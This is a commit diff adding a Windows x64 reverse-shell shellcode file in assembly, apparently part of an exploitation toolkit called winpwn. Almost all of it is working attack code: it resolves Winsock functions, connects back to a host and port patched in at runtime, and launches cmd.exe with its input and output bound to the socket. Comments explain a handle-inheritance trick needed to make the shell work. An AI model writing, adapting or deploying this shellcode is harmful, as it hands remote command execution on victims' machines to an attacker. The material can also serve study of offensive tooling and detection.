v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,157 @@
|
||||
; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
||||
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
||||
; redirected to the socket. The classic Windows reverse-shell primitive.
|
||||
;
|
||||
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
||||
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
||||
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
||||
; constants since they never change.
|
||||
;
|
||||
; Real gotcha, worth recording here since it's easy to miss and the
|
||||
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
||||
; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
||||
; by default on modern Windows (a hardening change from the days when
|
||||
; every handle was inheritable by default). bInheritHandles=TRUE on
|
||||
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
||||
; specific socket handle as inheritable first, or the child simply doesn't
|
||||
; get a usable copy of it no matter what STARTUPINFOA says.
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
push rbp
|
||||
push r12
|
||||
push r13
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF
|
||||
|
||||
call get_kernel32_base
|
||||
mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
||||
|
||||
; WSAStartup(0x0202, &wsadata_buf)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_wsastartup]
|
||||
call resolve_export
|
||||
mov rcx, 0x0202
|
||||
lea rdx, [rel wsadata_buf]
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_socket]
|
||||
call resolve_export
|
||||
mov rcx, 2
|
||||
mov rdx, 1
|
||||
mov r8, 6
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
mov r13, rax
|
||||
|
||||
; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
||||
; -- see the file header: without this, the child below can't actually
|
||||
; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
||||
mov rcx, r12
|
||||
xor rdx, rdx
|
||||
lea r8, [rel name_sethandleinformation]
|
||||
call resolve_export
|
||||
mov rcx, r13
|
||||
mov rdx, 1
|
||||
mov r8, 1
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; connect(sockfd, &sockaddr_buf, 16)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_connect]
|
||||
call resolve_export
|
||||
mov rcx, r13
|
||||
lea rdx, [rel sockaddr_buf]
|
||||
mov r8, 16
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
||||
; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
||||
; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
||||
sub rsp, 0xE0
|
||||
|
||||
mov qword [rsp+0x50], 0
|
||||
mov qword [rsp+0x58], 0
|
||||
mov qword [rsp+0x60], 0
|
||||
mov qword [rsp+0x68], 0
|
||||
mov qword [rsp+0x70], 0
|
||||
mov qword [rsp+0x78], 0
|
||||
mov qword [rsp+0x80], 0
|
||||
mov qword [rsp+0x88], 0
|
||||
mov qword [rsp+0x90], 0
|
||||
mov qword [rsp+0x98], 0
|
||||
mov qword [rsp+0xA0], 0
|
||||
mov qword [rsp+0xA8], 0
|
||||
mov qword [rsp+0xB0], 0
|
||||
|
||||
mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
||||
mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
||||
mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
||||
mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
||||
mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
||||
|
||||
; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
||||
mov rcx, r12
|
||||
xor rdx, rdx
|
||||
lea r8, [rel name_createprocessa]
|
||||
call resolve_export
|
||||
mov r14, rax
|
||||
|
||||
xor rcx, rcx ; lpApplicationName = NULL
|
||||
lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
||||
xor r8, r8 ; lpProcessAttributes = NULL
|
||||
xor r9, r9 ; lpThreadAttributes = NULL
|
||||
mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
||||
mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
||||
mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
||||
mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
||||
lea rax, [rsp+0x50]
|
||||
mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
||||
lea rax, [rsp+0xB8]
|
||||
mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
||||
call r14
|
||||
|
||||
add rsp, 0xE0
|
||||
mov rsp, rbp
|
||||
pop r13
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_ws2_32: db "ws2_32.dll", 0
|
||||
name_wsastartup: db "WSAStartup", 0
|
||||
name_socket: db "socket", 0
|
||||
name_connect: db "connect", 0
|
||||
name_sethandleinformation: db "SetHandleInformation", 0
|
||||
name_createprocessa: db "CreateProcessA", 0
|
||||
|
||||
; lpCommandLine must point at writable memory (CreateProcessA may modify
|
||||
; it in place) -- fine here since shellcode bytes live in a writable page
|
||||
; wherever they landed, same as every other template's embedded buffers.
|
||||
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
||||
|
||||
align 8
|
||||
wsadata_buf:
|
||||
times 512 db 0
|
||||
|
||||
align 8
|
||||
sockaddr_buf:
|
||||
dw 2 ; sin_family = AF_INET
|
||||
dw 0 ; sin_port, patched at runtime (network byte order)
|
||||
dd 0 ; sin_addr, patched at runtime (network byte order)
|
||||
dq 0 ; sin_zero[8]
|
||||
Reference in New Issue
Block a user